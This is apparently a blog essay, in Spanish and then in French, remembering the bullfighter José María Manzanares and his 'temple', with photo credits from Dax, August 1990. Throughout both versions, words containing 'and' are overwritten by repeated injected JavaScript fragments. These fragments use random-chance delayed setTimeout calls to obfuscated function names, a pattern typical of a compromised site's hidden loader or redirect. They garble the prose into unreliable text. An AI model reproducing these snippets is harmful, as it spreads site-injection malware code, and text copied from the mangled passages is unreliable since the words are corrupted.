JOSE MARIA MANZANARES, ARTISTA DEL TEMPLEJOSE MARIA MANZANARES, ARTISTE DU TEMPLE

¿Qué deja en mi memoria el toreo de José María Manzanares? Ante todo, el temple, esa despaciosidad  que sólo se consigue cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el toro ha sido embarcado antes de que meta la cara en el engaño, ese toreo obligado que imprime la línea curva a la embestida recta del toro, único medio de atemperar su prisa, ese valor que permite al diestro conducir dicha embestida, verla al mismo tiempo, y complacerse en ella.

Sólo es posible sentir el toreo cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el torero se desdobla y es actor y espectador de sí mismo y de su partenaire, con el que torea. El valor de torear está lejos del alarde, únicamente es verdadero cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando sirve para torear con temple.

Manzanares lo tenía porque era muy buen torero. Le servía para no adoptar jamás una sola pose actoral. Para estar en el ruedo con la misma naturalidad que en la calle. Para que su mirada se iluminara de inteligencia cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando veía al toro y descubría sus virtudes o sus carencias, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando después lo toreaba o bregaba y convertía a sus subalternos en cómplices de la lidia. Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando escuchaba, sin que se le notara, al público. Para lo bueno y para lo malo, tanto si el toro servía para torear como si no se prestaba y era sólo él quien lo veía.

Esa naturalidad, y ese saber que su estar y pasar dejaba en el ruedo el aroma de su presencia, y en el toreo la huella de su sentir, contaba con el apoyo de su figura, algo importante en un torero, cuyo cuerpo es el instrumento de su arte. Si, Manzanares tenía el cuerpo exacto, la expresión genuina del torero. Y por eso no sólo hacía el toreo, sino que lo decía. Y siempre con un trazo embriagador, que convertía la embestida en caricia. Con un temple de sol y brisa, muy mediterráneo. Era de Alicante, pero siempre le vi como un torero romano contagiado por el son del sur, no sé, un deje andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaluz, una gracia contenida, un desparpajo elegantemente reprimido, el compás que subyace, la música callada de una expresión luminosa.

Le vi una vez muy bien con una de Miura y con otra de Victorino Martín y varias con los guardiolas pedrajeños, pero cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando más me gustaba era con los torrestrellas de don Álvaro y con los núñez de los Gonzalez. Con Manzanares descubrí que no se torea al toro sino a la mirada del toro, que el torero intuye en los ojos del toro cómo será su embestida. Y que ese descubrimiento le da valor y regusto, y que el gran torero torea antes de empezar a torear. No, no me va a costar nada mantener viva la memoria de Manzanares. Era una excelsa figura del toreo.

Fotos Bruno Lasnier Dax Agosto 1990

querManza01

querManza02

querManza0

Qu’est-ce que je garde dans ma mémoire du toreo de José María Manzanares ? Avant tout, le temple, ce tempo ralenti auquel on parvient uniquement quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and on a dominé la charge avant que le toro ne rentre la tête dans le leurre, ce toreo contraignant qu’implique la ligne courbe à la charge droite du toro, seul moyen de réduire sa vitesse, ce courage qui permet au torero de conduire la charge, tout en la voyant, et y prendre plaisir.

Il est uniquement possible de sentir le toreo quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and le torero se dédouble et devient acteur et spectateur de lui-même et de son partenaire, avec qui il torée. Le courage pour toréer va au-delà de l’étalage, il est vrai uniquement quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il sert à toréer avec du temple.

Manzanares l’avait parce que c’était un très bon torero. Il lui servait pour ne jamais adopter une seule attitude d’acteur. Pour être dans l’arène avec le même naturel qu’il avait en ville. Pour que son regard s’illumine d’intelligence quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il voyait le toro et découvrait ses qualités ou ses carences, et le toréait ensuite en partageant la complicité de ses subalternes dans la lidia. Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il écoutait, sans que l’on s’en aperçoive, le public. Pour ce qu’il a de meilleur et de moins bon, aussi bien lorsque le toro servait pour toréer ou qu’il ne s’y prêtait pas et qu’il était le seul à le voir. Ce naturel et ce savoir que son être et passage imprégnait l’arène de l’arome de sa présence, et le toreo l’empreinte de ses sentiments. Il comptait avec l’atout de son physique, chose très importante chez un torero, dont le corps est l’instrument de son art. Oui, Manzanares avait le corps idoine, l’expression la plus authentique du torero. Et ainsi il ne faisait pas seulement le toreo, il le disait. Et toujours avec un trait enivrant, qui transformait la charge en caresse. Avec un temple de soleil et de brise, très méditerranéen.

Il était d’Alicante, mais je l’ai toujours vu comme un torero romain imbibé par les sonorités du sud, par un je ne sais quoi, une trace andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andalouse, une grâce contenue, une désinvolture élégamment réprimée, le rythme qui demeure, la musique silencieuse d’une expression lumineuse.

Je l’ai vu très bien devant une corrida de Miura et avec une autre de Victorino et devant plusieurs de Guardiola d’origine Pedraja, mais où il m’a le plus emballé c’est avec les torrestrellas de Don Alvaro et les nuñez des Gonzalez. Avec Manzanares j’ai découvert qu’on ne torée pas le toro mais son regard, que le torero a l’intuition de sa charge dans les yeux du toro. Et que cette découverte lui confère du courage et de la jouissance, et que le grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and torero torée bien avant de commencer à toréer.

Non, ce ne sera pas difficile pour moi de garder vivant dans ma mémoire Manzanares. Il fut une figura éminente du toreo.

Fotos Bruno Lasnier Dax Agosto 1990

querManza01

querManza02

querManza0

Les commentaires sont fermés.